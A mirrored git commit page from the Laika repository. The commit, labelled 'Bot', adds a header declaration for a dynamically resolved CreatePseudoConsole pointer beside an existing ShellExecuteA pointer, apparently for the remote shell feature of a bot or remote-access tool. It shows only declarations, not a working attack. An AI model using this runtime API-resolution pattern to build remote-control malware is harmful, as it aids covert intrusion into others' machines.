mirror of
https://github.com/CPunch/Laika.git
synced 2025-09-28 20:57:35 +00:00
Bot: Added oCreatePseudoConsole to laikaO_init()
This commit is contained in:
@@ -4,12 +4,15 @@
|
||||
#include "laika.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
# include <process.h>
|
||||
# include <windows.h>
|
||||
|
||||
/* WINAPI types */
|
||||
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
||||
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, HPCON *);
|
||||
|
||||
extern _ShellExecuteA oShellExecuteA;
|
||||
extern _CreatePseudoConsole oCreatePseudoConsole;
|
||||
#endif
|
||||
|
||||
void laikaO_init();
|
||||
|
Reference in New Issue
Block a user